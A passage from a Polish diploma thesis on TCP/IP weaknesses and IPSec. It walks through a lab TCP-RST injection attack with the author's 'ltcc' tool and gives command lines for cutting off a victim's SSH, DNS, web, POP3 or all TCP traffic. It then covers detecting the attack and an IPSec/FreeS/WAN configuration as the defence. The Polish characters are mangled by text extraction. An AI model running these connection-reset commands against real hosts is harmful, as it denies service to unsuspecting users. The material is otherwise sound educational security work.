zBapania pakietu, zostaje spreparowany pakiet wygldajcy jak odpo- wiedz z hosta, z którym komunikuje si ofiara, ustawiona w nim zostaje flaga RST, która oznacza zerwanie poBczenia. 4. pakiet taki zostaje wysBany do ofiary, zanim wBa[ciwy host zd|y odpowiedzie. PoBczenie zostaje zerwane. Funkcja mo|e dziaBa nieprzerwalnie, uniemo|liwiajc ofierze ponowne nawizanie poBczenia. 48 9.3 Laboratorium PrzykBadowa sie w której zaprezentwane zostan przykBadowe ataki TCP-RST mo|e wyglda tak: Rysunek 12: Fragment segmentu sieci w której przeprowadzony zostaje atak 1. Maszyna o adresie 149.156.208.171 to Celeron 466 z zainstalowanym systemem Windows 98TM. 2. Maszyna o adresie 149.156.208.172 to Pentium II z zainstalowanym systemem Li- nux. 3. Maszyna o adresie 149.156.208.173 to Laptop z zainstalowanym systemem Linux, z którego przeprowadzony zostanie przykBadowy atak. 4. Maszyna o adresie 149.156.208.174 to NetServer E60 HP z zainstalowanym syste- mem Linux. 5. Hub, do którego podpite zostaBy wy|ej wymienione maszyny pochodzi z firmy PlanetTM. 49 6. Router (149.156.208.161) sprztowy firmy CISCOTM, poBczony z sieci miejsk, bdcy jednocze[nie gatewayem. 50 9.4 Atak! W tym miejscu sprawdzamy (poleceniem tcpdump) jak ofiara, któr postanowili[my za- atakowa, korzysta z sieci. Wynik dziaBania polecenia ukazuje nam komunikacje maszyny o adresie 149.156.208.171 (ofiary) z serwerem 149.156.208.100. Ofiara Bczy si na port 22 serwera. Na tym porcie standardowo dziaBa usBuga ssh. Rysunek 13: Przygotowanie do ataku 51 Ofiara pracuje przy maszynie 149.156.208.171 - ma uruchomiony program putty - jest to darmowy klient SSH. Ofiara poBczona jest z serwerem 149.156.208.100, na którym pracuje zdalnie. Rysunek 14: Ofiara pracuje u|ywajc programu putty 52 Uruchamiamy ltcc z opcjami, które maj  ubi poBczenia wychodzce z maszyny ofiary do serwera (149.156.208.100) na port 22. Opcja -k oznacza, |e program powinien dziaBa bez koDca, a opcja -w oznacza, |e program ma by caBy czas aktywny na konsoli. Rysunek 15: Uruchomienie ltcc - atak! 53 W momencie wysBania jakiegokolwiek pakietu z maszyny ofiary do serwera na port 22 (co w pracy terminalowej - putty oznacza wysBanie dowolnego znaku do serwera) poB- czenie u|ytkownika zostaje natychmiast przerwane, a on sam oglda taki oto komunikat. Program putty zakoDczyB prac. Rysunek 16: Zerwanie poBczenia po stronie ofiary 54 W screen shocie zamieszczonym poni|ej wida wynik skanowania podsieci, aktyw- no[ tylko jednej maszyny o adresie 149.156.208.171. Aczy si ona z dwoma serwerami (149.156.208.141 oraz 149.156.208.100 - ssh) oraz z serwerem 149.156.208.130 - na usBug nazw. Z kilkoma serwerami na port 80 (usBuga http). Podczas 60-cio sekundowego skanowania program zBapaB 919 pakietów TCP nale|cych do 16 niezale|nych poBczeD. Dostpne opcje s z poziomu menu znajdujcego si w górnej cz[ci ekranu. Po wybraniu poBczenia ofiary oraz naci[niciu klawisza  k atak zostaje aktywowany. Rysunek 17: PrzykBad uruchomienia programu w trybie interaktywnym 55 Program tcpdump dokBadnie ukazuje co dziaBo si podczas ataku. W momencie napotkania pasujcego pakietu, wysBany jest spreparowany pakiet z ustawion flag RST. PoBczenie zostaje zerwane, komunikacja zakoDczona. W logach z tcpdump a wida, |e podczas ataku ofiara komunikowaBa si równie| z serwerem o adresie 149.156.208.141 - z usBug FTP. PoBczenie to nie zostaBo zerwane, poniewa| celem ataku byBa praca terminalowa SSH komputera ofiary z serwerem 149.156.208.100. Podczas ataku u|yta zostaBa opcja -k oznaczajca, |e atak bdzie trwaB nieskoDczenie, w zwizku z tym ka|da kolejna próba poBczenia ofiary z portem 22 serwera 149.156.208.100 zostanie przerwana komunikatem:  Network error: Connection reset by peer . Rysunek 18: Dalsze logi z programu tcpdump 56 9.5 PrzykBady zastosowania programu ltcc Oprócz jednorazowego zerwania poBczenia SSH (z portem 22 serwer) oraz uniemo|liwe- niu jego pózniejszego nawizania - jak to przedstawiBem w przykBadzie powy|ej, mo|na  ltcc wykorzysta w nastpujcy sposób: DNS uniemo|liwienie nawizania jakiekolwiek poBczenia z serwerem nazw z maszyny ofiary: ./ltcc -l 3 -S 149.156.208.171 -P 53 -k 0 w praktyce uniemo|liwi to ofierze zamian nazw internetowych na numery IP, tym sa- mym znacznie utrudni korzystanie z internetu, a  zwykBemu u|ytkownikowi skutecznie uniemo|liwi. www uniemo|liwienie nawizania jakiegokolwiek poBczenia z jakimkolwiek serwerem www: ./ltcc -l 3 -S 149.156.208.171 -P 80 -k 0 konkretny serwer z usBug POP3 - uniemo|liwienie ofierze odebrania poczty (przez usBug pop3) z konkretnego serwera: ./ltcc -l 1 -S 149.156.208.171 -D 149.156.208.141 -P 110 -k 0 konkretny numer IP - uniemo|liwienie ofierze nawizania jakiegokolwiek poBczenia TCP z konkretnym serwerem: ./ltcc -l 2 -S 149.156.208.171 -D 149.156.208.141 -k 0 57 wszystko uniemo|liwienie ofierze nawizania jakichkolwiek poBczeD TCP: ./ltcc -l 4 -S 149.156.208.171 -k 0 9.6 wykrywanie ataku Prezentowany wy|ej atak w ka|dym przypadku da si wykry. Pierwszym niepokoj- cym symptomem, który oznacza mo|e, |e jeste[my atakowani jest notoryczne zrywanie poBczeD. W tym momencie, aby upewni si, |e atak na nasz maszyn faktycznie miaB miejsce proponowaBbym uruchomi program tcpdump na naszej maszynie i sprawdzi nastpujce rzeczy: Sposób zamknicia poBczenia Czy zamknicie poBczenia odbywa si w naturalny sposób, zatem czy pakiety RST poprzedzone s wymian pakietów z FIN? Ilo[ pakietów RST Du|a ilo[ pakietów RST przychodzcych do naszej maszyny mo|e wskazywa na atak. Równie| takie same pakiety RST (z takimi samymi numerami sekwencyjnymi) nastpujce kolejno po sobie. Analiza numerów SEQ, ACK Je|eli bezpo[rednio po otrzymanym pakiecie RST otrzymujemy pakiety PUSH z numerami sekwencyjnymi takimi jak wcze[niej otrzymany RST oznacza to, |e który[ z pakietów jest podrobiony. Poniewa| liczba przychodzcych pakietów mo|e by du|a - zale|nie od aktywno[ci ma- szyny oraz rodzajów prac jakich na niej wykonujemy - do analizowania numerów sekwen- cyjnych warto napisa odpowiedni program. 9.7 Inne ataki na protokóB tcp 22 kwietnia 2004, opublikowany zostaB artykuB pt.  Nowe ataki TCP w którym opisany jest nowy pomysB na atakowanie protokoBu TCP. Podobnie jak prezentowany powy|ej 58 sposób, nowy atak polega na wysBanie faBszywych pakietów z ustawion flag RST. Polega on na  wstrzeleniu si w odpowiednie numery ISN. 9.8 IPSec jest odporny Wy|ej ukazany atak oraz jemu podobne nie maj miejsca bytu, je[li ofiara u|ywa proto- koBu IPSec zamiast TCP/IP do komunikacji ze zdalnymi serwerami. IPSec enkapsuluje dane protokoBu TCP zatem atakujcy nie ma dostpu do numerów sekwecyjnych, nie ma mo|liwo[ci podrobienia informacji ukrytej - zaszyfrowanej protokolem ESP. Program  ltcc uruchomiony na maszynie atakujcego bezskutecznie bdzie czekaB na pasujce pakiety. Zatem nie bdzie miaB okazji, |eby spreparowa atakujcy pakiet RST. 59 10 Zestawienie poBczenia po IPSec przy u|yciu pa- kietu FreeS/WAN W niniejszym rozdziale zaprezentuje jak praktycznie zestawi poBczenie po IPSecu jako antidotum na wy|ej przedstawiony rodzaj ataku. PoBczenie bdzie szyfrowane w sieci lo- kalnej pomidzy laptopem a serwerem. WybraBem pakiet FreeS/WANa, poniewa| dziaBa on na kernelach linii 2.4 a na tej wBa[nie linii pracuje wikszo[ moich serwerów w tym momencie. Drugim, bardzo wa|nym powodem jest licencja - FreeS/WAN udostpniony jest na licencji GNU GPL[18] 10.1 Wymagania  dwie maszyny z zainstalowanym systemem operacyjnym Linux w linii 2.4  przynajmiej jedna maszyna musi mie statyczny numer IP - bdzie to serwer do którego Bczy si bdzie stacja robocza (np laptop)  pakiet FreeS/WAN[22] zainstalowany na obu maszynach  konto  root na obu maszynach 10.2 Konfiguracja 10.2.1 plik /etc/ipsec.conf Na laptopie wyglda nastpujco: conn road 60 left=149.156.208.173 leftnexthop=%defaultroute leftid=@glibc.ae.krakow.pl leftrsasigkey=0sAQNVh794PHL... right=149.156.208.174\\ rightid=@iks.ae.krakow.pl rightsubnet=0.0.0.0/0 rightrsasigkey=0sAQNzMjATTaY... auto=start 10.2.2 Klucze  leftrsasigkey zostaB wygenerowany w nastpujcy sposób na laptopie: glibc.ae.krakow.pl (149.156.208.173). ipsec newhostkey --output >/etc/ipsec.conf ipsec showhostkey --left  rightrsasigkey w sposób analogiczny na serwerze janek.ae.krakow.pl (149.156.208.141). 10.2.3 Start Uruchomienie szyfrowania nastpuje po wykonaniu polecenia: ipsec setup start 10.2.4 Zarzdzanie wieloma szyfrowanymi poBczeniami Do zarzdzania poszczególnymi poBczeniami sBu| komendy: ipsec auto --add nazwa 61 ipsec auto --delete nazwa ipsec auto --up nazwa ipsec auto --down nazwa które w kolejno[ci odpowiadaj za: dodanie, usunicie, wBczenie i wyBczenie poBczenia:  nazwa .  nazwa to cig znaków w pliku /etc/ipsec.conf wystpujcy po cigu: conn identyfi- kujcy poBczenie.  auto oznacza automatycz wymian kluczy - w przeciwieDstwi do  manual . 62 11 Podsumowanie W niniejszej pracy zaprezentowane zostaBy protokoBy TCP oraz IP, ich budowa oraz miejsce w siedmiowarstwowym modelu ISO/OSI. Opisany zostaB sposób oraz zasada ko- munikacji sieciowej z ich wykorzystaniem. Wymienione zostaBy wady i zalety ka|dego z nich jak równie| alternatywny dla nich protokóB IPSec. Prezentowany docelowo atak ukazaB sBabo[ rodziny TCP/IP w dziedzinie bezpieczeDstwa. Program  ltcc umiemo|li- wiB osobie atakowanej komunikacj z serwerem przy wykorzystaniu protokoBów TCP/IP. Gdyby zarówno maszyna atakowanego jak i serwer 149.156.208.100 miaBy wbudowan obsBug protokoBu IPSec - taki atak byBby niemo|liwy. Celem pracy nie byBo ukazanie protokoBu IPSec jako genialnego lekarstwa na niebezpie- czeDstwa komunikacji sieciowej lecz zaprezentowanie jednego z tych niebezpieczeDstw. 63 A Kilka sBów o Linuxie System operacyjny Linux zostaB stworzony w Finlandii przez Linusa Torvaldsa podczas cwiczeD praktycznych na uczelni. W 1991 roku Torwalds opracowal go na podstawie wielozadaniowego systemu Minix. Pocztkowo projekt rozwijaB si w niewielkim gronie programistów entuzjastów, którzy programowali dla samej przyjemno[ci pracy nad projektem, dla samej satysfakcji, czy tez dla uznania w [rodowisku specjalistów. Do tej pory prace nad systemem prowadzone s przez zapaleDców nie osigajcych |adnych materialnych korzy[ci ze swojej pracy. Taka filozofia pracy i takie zaanga|owanie setek a nawet tysicy programistów na caBym [wiecie w tworzenie systemu oraz jego oprogramo- wania spowodowaB niesamowity rozwój Linuxa w cigu ostatnich dziesiciu lat. Mniej wiej co kilka tygodni powstaje nowa wersja jdra systemu. Obecnie najnowszym j- drem jest 2.6.10 (z linii 2.6), 2.4.28 (z linii 2.4), 2.2.27 (z linii 2.2) oraz 2.0.40 (z linii 2.0). Kod zródBowy systemu dostpny jest razem z samym systemem na stronach inter- netowych (http://www.kernel.org). Open Source, bo tak nazywa si dostpno[ kodu umo|liwia praktycznie ka|demu u|ytkownikowi jego modyfikacj zgodnie z wBasnymi upodobaniami, pomysBami. Open Source zwiksza szanse znalezienia bBdów, które s spotykane w oprogramowaniu. Reakcja na znalezione bBdy jest niezwykle szybka w porównaniu z innymi, konkurencyjnymi systemami. Wikszym zaufaniem obdarza si system który jest otwarty, który wida jak jest zbudowany i w którym na pewno deweloper nie ukryB celowo |adnego bBdu. Linux jest darmowym systemem operacyjnym nie odstpujcym jako[ci komercyj- nym systemom takim jak Novell Netware, czy Windows NT/2k. Doskonale nadaje si na serwer sieciowy jak i na stacje robocz, dlatego obecnie ponad 10 milionów ludzi korzysta z Linuxa na swoich komputerach w domu i w pracy. 64 A.1 Dystrybucje Linuxa Czym ró|ni sie  dystrybucja Linuxa od  Linuxa ? Pojcia te bardzo czsto s mylone, najcz[ciej Linuxem nazywa si caB dystrybucje, podczas gdy w rzeczywisto[ci Linux to tylko jdro systemu. Dystrybucja natomiast jest to jdro razem z oprogramowaniem. Dystrybucje ró|ni si midzy sob wBa[nie tym oprogramowaniem, sposobem instalacji, czy te| startem systemu. Na rynku obecnie istnieje wiele dystrbucji Linuxa, które mo|na podzieli na dwie kategorie: dystrybucje komercyjne - które producenci dostarczaj wraz z konkretnie wyspecy- fikowanym oprogramowaniem. Producenci oferuj równie| pomoc techniczn, za któr wBa[nie si pBaci. dystrybucje otwarte - producenci tego typu dystrybucji nie s nastawieni na zysk, zatem dystrybucje nie zawieraj oficjalnej pomocy technicznej. Najbardziej popularne komercyjne dystrybucje Linuxa: RedHat - (www.redhat.com) - charakteryzuje ja format pakietów instalacyjnych: RPM, dystrybucja uznawana za najlepsz dystrybucj dla pocztkujcych. Nadaje si zarówno na serwery, jak i na stacje robocze. Mandrake - (www.mandrake.com) - blizniaczo podobna dystrybucja do RedHata, równie| bardzo Batwe, klikane oprogramowanie, równie| nadaje si na stacj robocz dla niezbyt zaawansowanych u|ytkowników. SuSE - (www.SuSE.org) - ogromna niemiecka dystrybucja. U|ywa systemu RPM do zarzdzania pakietami. 65 Aurox - (www.aurox.org) - mBoda, polska dystrybucja na biurko. Knoppix - (www.knoppix.org) - pierwsza dystrybucja uruchamiana z CD (live CD - nie wymagajca instalacji na twardym dysku) Do najpopularniejszych otwartych dystrybucji nale|: Slackware - (www.slackware.org) - profesjonalna dystrybucja, której pakiety instala- cyjne wystpuj w formie archiwów (pliki w formacie TGZ). Debian - (www.debian.org) - bezpieczna, stabilna dystrybucja. U|ywa wBasnego systemu administracji pakietami : DEB. PLD - (www.pld.org.pl) - pierwsza polska dystrybucja Linuxa. Ko|ysta z systemu RPM. Polscy programi[ci stawiali na polskojzyczne [rodowisko. Gentoo - (www.gentoo.org) - dystrybucja, której wszystkie skBadniki kompiluj si podczas instalacji (ma to wpByw na stabilno[ systemu). 66 B Zawarto[ pByty CD Zawarto[ pByty znajduje si równie| na mojej stronie: http://prokop.adfinem.net oraz na mirrorze: http://prokop.ae.krakow.pl docs - katalog z tekstem niniejszej pracy dyplomowej a w nim nastpujce pliki: " scheme.pdf - tekst pracy w formacie pdf " scheme.ps - tekst pracy w formacie Postscript " scheme.html - skonwertowany tekst pracy programem latex2html docs source - katalog z plikami zródBowymi do pracy: A " scheme.tex - kod zródBowy pracy w formacie TEX dla programu LTEX " *.eps - pliki graficzne w formacie Encapsulated PostScript zapisane z pro- gramu xfig lub z programu Gimp (www.gimp.org) ltcc - katalog z kodem zródBowym programu ltcc rfcs - dokumenty rfc do których odwoBuj si w pracy 67 Literatura [1] Reinhard Wobst: Kryptologia - Budowa i Bamanie zabezpieczeD [2] Richard W. Stevens: Unix. Programowanie usBug sieciowych. Wydawnictwa Naukowo-Techniczne (2000). [3] Jon Erickson: Hacking. Sztuka penetracji. Helion (2004). [4] Craig Hunt: TCP/IP Administracja sieci. O Reilly & Associates, Inc. (1991). [5] rfc0760 - DoD standard Internet Protocol. J. Postel. Jan-01-1980. [6] rfc0761 - DoD standard Transmission Control Protocol. J. Postel. Jan-01-1980. [7] rfc1321 - The MD5 Message-Digest Algorithm. R. Rivest. April 1992. [8] rfc1828 - IP Authentication using Keyed MD5. P. Metzger, W. Simpson. Au- gust 1995. [9] rfc1829 - The ESP DES-CBC Transform. P. Karn, P. Metzger, W. Simpson. Au- gust 1995. [10] rfc2085 - HMAC-MD5 IP Authentication with Replay Prevention. M. Oehler, R. Glenn. February 1997. [11] rfc2401 - Security Architecture for the Internet Protocol. S. Kent, R. Atkinson. November 1998. [12] rfc2402 - IP Authentication Header. S. Kent, R. Atkinson. November 1998. [13] rfc2403 - The Use of HMAC-MD5-96 within ESP and AH. C. Madson, R. Glenn. November 1998. [14] rfc2404 - The Use of HMAC-SHA-1-96 within ESP and AH. C. Madson, R. Glenn. November 1998. 68 [15] rfc2405 - The ESP DES-CBC Cipher Algorithm With Explicit IV. C. Madson, N. Doraswamy. November 1998 [16] rfc2406 - IP Encapsulating Security Payload (ESP). S. Kent, R. Atkinson. Novem- ber 1998. [17] rfc2460 - Internet Protocol, Version 6 (IPv6) Specification. S. Deering, R. Hinden, December 1998 [18] - http://www.gnu.org/licenses/licenses.html#GPL - GNU General Public Licence. [19] - http://www.man.poznan.pl/ pawelw/dyplom/ISOModel.html - budowa modelu ISO/OSI. [20] - http://lukasz.bromirski.net/docs/translations/lartc-pl.html - zaawansowany ro- uting IP. [21] - http://echelon.pl/pubs/cbi ipsec.html - budowa protokoBu IPSec. [22] - http://www.freeswan.org - projekt FreeS/WAN. [23] - http://www.faqs.org/rfcs/ - dokumenty tekstowe rfc. 69 Spis rysunków 1 protokoBy internetowe w modelu ISO/OSI . . . . . . . . . . . . . . . . . 7 2 Struktura nagBówka IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3 Klasy sieci IP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 4 Struktura nagBówka TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 5 PrzykBadowa sesja TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 6 Enkapsulacja protokoBów . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 7 Budowa nagBówka AH . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 8 Budowa nagBówka ESP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 9 Enkapsulacja w trybie transportowym. . . . . . . . . . . . . . . . . . . . 31 10 Enkapsulacja w trybie tunelowym. . . . . . . . . . . . . . . . . . . . . . . 31 11 PrzykBad uruchomienia programu bez parametrów - lista opcji . . . . . . 41 12 Fragment segmentu sieci w której przeprowadzony zostaje atak . . . . . . 49 13 Przygotowanie do ataku . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 14 Ofiara pracuje u|ywajc programu putty . . . . . . . . . . . . . . . . . . 52 15 Uruchomienie ltcc - atak! . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 16 Zerwanie poBczenia po stronie ofiary . . . . . . . . . . . . . . . . . . . . 54 17 PrzykBad uruchomienia programu w trybie interaktywnym . . . . . . . . 55 18 Dalsze logi z programu tcpdump . . . . . . . . . . . . . . . . . . . . . . . 56 70 Spis tre[ci 1 Wstp 2 2 Analiza zagadnienia 3 2.1 RFC - Requests For Comments . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Publikacje papierowe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.3 Inne dokumenty internetowe . . . . . . . . . . . . . . . . . . . . . . . . . 5 3 Model ISO/OSI 7 4 Opis i idea dziaBania protokoBu IP 9 4.1 Budowa nagBówka IP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 4.2 Adresowanie w IP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 4.2.1 Klasy adresów IP . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 4.2.2 Maska, broadcast . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 4.3 Routowanie pakietów IP . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 5 Budowa i zasada dziaBania protokoBu TCP 16 5.1 Struktura nagBówka TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 5.2 Realizacja poBczenia TCP . . . . . . . . . . . . . . . . . . . . . . . . . . 18 5.2.1 Opis stanów gniazd . . . . . . . . . . . . . . . . . . . . . . . . . . 18 5.2.2 Nawizywanie poBczenia . . . . . . . . . . . . . . . . . . . . . . . 19 5.2.3 PrzesyBanie danych . . . . . . . . . . . . . . . . . . . . . . . . . . 20 5.2.4 KoDczenie poBczenia . . . . . . . . . . . . . . . . . . . . . . . . . 20 6 Wady i zalety stosowania protokoBów TCP/IP 23 6.1 Wady . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 6.1.1 ograniczona przestrzeD adresowa IP . . . . . . . . . . . . . . . . . 23 6.1.2 niskie bezpieczeDstwo . . . . . . . . . . . . . . . . . . . . . . . . . 23 71 6.2 zalety . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 7 Opis i idea dziaBania IPSec 27 7.1 AH - Authentication Header . . . . . . . . . . . . . . . . . . . . . . . . . 28 7.2 ESP - Encapsulating Security Payload . . . . . . . . . . . . . . . . . . . 29 7.3 Tryby pracy protokoBu IPSec . . . . . . . . . . . . . . . . . . . . . . . . . 30 7.3.1 Tryb transportowy (Transport mode) . . . . . . . . . . . . . . . . 30 7.3.2 Tryb tunelowy (Tunnel mode) . . . . . . . . . . . . . . . . . . . . 31 7.4 Algorytm przetwarzania protokoBu IPSec . . . . . . . . . . . . . . . . . . 32 7.5 Elementy kryptografii w IPSec . . . . . . . . . . . . . . . . . . . . . . . . 32 7.5.1 HMAC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 7.5.2 Diffie-Hellman . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 7.5.3 RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 7.5.4 DES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 7.5.5 MD5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 7.5.6 SHA1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 7.5.7 RC4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 7.6 Automatyzacja - u|ycie protokoBu IKE . . . . . . . . . . . . . . . . . . . 36 8 wady i zalety stosowania protokoBu IPSec 38 8.1 wady . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 8.2 zalety . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 9 Program LTCC - Local TCP Control Center 39 9.1 Opis programu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 9.1.1 Instalacja LTCC . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 9.1.2 Uruchomienie oraz opcje ltcc . . . . . . . . . . . . . . . . . . . . . 40 9.1.3 Lista plików w archiwum . . . . . . . . . . . . . . . . . . . . . . . 44 9.1.4 Fragmenty kodu realizujce zasadnicz cz[ ataku . . . . . . . . 45 72 9.2 Algorytm ataku . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 9.3 Laboratorium . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 9.4 Atak! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 9.5 PrzykBady zastosowania programu ltcc . . . . . . . . . . . . . . . . . . . 57 9.6 wykrywanie ataku . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 9.7 Inne ataki na protokóB tcp . . . . . . . . . . . . . . . . . . . . . . . . . . 58 9.8 IPSec jest odporny . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 10 Zestawienie poBczenia po IPSec przy u|yciu pakietu FreeS/WAN 60 10.1 Wymagania . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 10.2 Konfiguracja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 10.2.1 plik /etc/ipsec.conf . . . . . . . . . . . . . . . . . . . . . . . . . . 60 10.2.2 Klucze . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 10.2.3 Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 10.2.4 Zarzdzanie wieloma szyfrowanymi poBczeniami . . . . . . . . . . 61 11 Podsumowanie 63 A Kilka sBów o Linuxie 64 A.1 Dystrybucje Linuxa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 B Zawarto[ pByty CD 67 73

Wyszukiwarka

Podobne podstrony:
Bezpieczeństwo protokołów TCP IP oraz IPSec (2)
,sieci komputerowe,Zestaw protokołów TCP IP (2)
Protokół TCP IP R01 5
Bezpieczeństwo w sieciach TCP IP
Resetujemy protokół TCP IP
Protokół TCP IP R11 5
Protokół TCP IP R13 5
Protokół TCP IP R12 5
Protokół TCP IP R03 5

więcej podobnych podstron